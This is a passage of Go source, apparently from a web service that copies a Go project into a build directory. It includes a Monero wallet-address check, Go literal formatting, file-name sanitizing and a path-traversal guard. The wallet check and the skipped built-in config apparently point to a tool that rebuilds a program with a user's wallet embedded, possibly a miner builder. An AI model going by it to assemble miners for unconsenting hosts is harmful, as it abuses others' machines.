{ return err } relPath, err := filepath.Rel(srcDir, path) if err != nil { return err } if relPath == "config"+string(os.PathSeparator)+"builtin.go" { return nil } destPath := filepath.Join(destDir, relPath) if info.IsDir() { return os.MkdirAll(destPath, 0755) } if info.Mode()&os.ModeSymlink != 0 { return nil } ext := filepath.Ext(path) base := filepath.Base(path) if ext != ".go" && base != "go.mod" && base != "go.sum" { return nil } return copyFile(path, destPath) }) } func copyFile(src, dest string) error { in, err := os.Open(src) if err != nil { return err } defer in.Close() if err := os.MkdirAll(filepath.Dir(dest), 0755); err != nil { return err } out, err := os.Create(dest) if err != nil { return err } defer out.Close() _, err = io.Copy(out, in) return err } func looksLikeXMRWallet(addr string) bool { a := strings.TrimSpace(addr) if len(a) < 90 || len(a) > 106 { return false } if a[0] != '4' { return false } for i := 1; i < len(a); i++ { c := a[i] if (c >= '0' && c <= '9') || (c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z') { continue } return false } return true } func formatGoStringSlice(values []string) string { if len(values) == 0 { return "nil" } parts := make([]string, 0, len(values)) for _, v := range values { v = strings.TrimSpace(v) if v != "" { parts = append(parts, fmt.Sprintf("%q", v)) } } if len(parts) == 0 { return "nil" } return "[]string{" + strings.Join(parts, ", ") + "}" } func sanitizeFileName(name string) string { replacer := strings.NewReplacer( " ", "-", "/", "-", "\\", "-", ":", "-", "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "", ) return replacer.Replace(name) } // safePathUnderRoot resolves name under root and rejects traversal escapes. func safePathUnderRoot(root, name string) (string, error) { if name == "" || strings.Contains(name, "..") { return "", fmt.Errorf("invalid path") } cleanName := filepath.Clean(name) if filepath.IsAbs(cleanName) { return "", fmt.Errorf("invalid path") } absRoot, err := filepath.Abs(root) if err != nil { return "", err } full := filepath.Join(absRoot, cleanName) absFull, err := filepath.Abs(full) if err != nil { return "", err } if absFull != absRoot && !strings.HasPrefix(absFull, absRoot+string(os.PathSeparator)) { return "", fmt.Errorf("path escapes root") } return absFull, nil } func writeJSON(w http.ResponseWriter, status int, v interface{}) { w.Header().Set("Content-Type", "application/json") w.WriteHeader(status) json.NewEncoder(w).Encode(v) }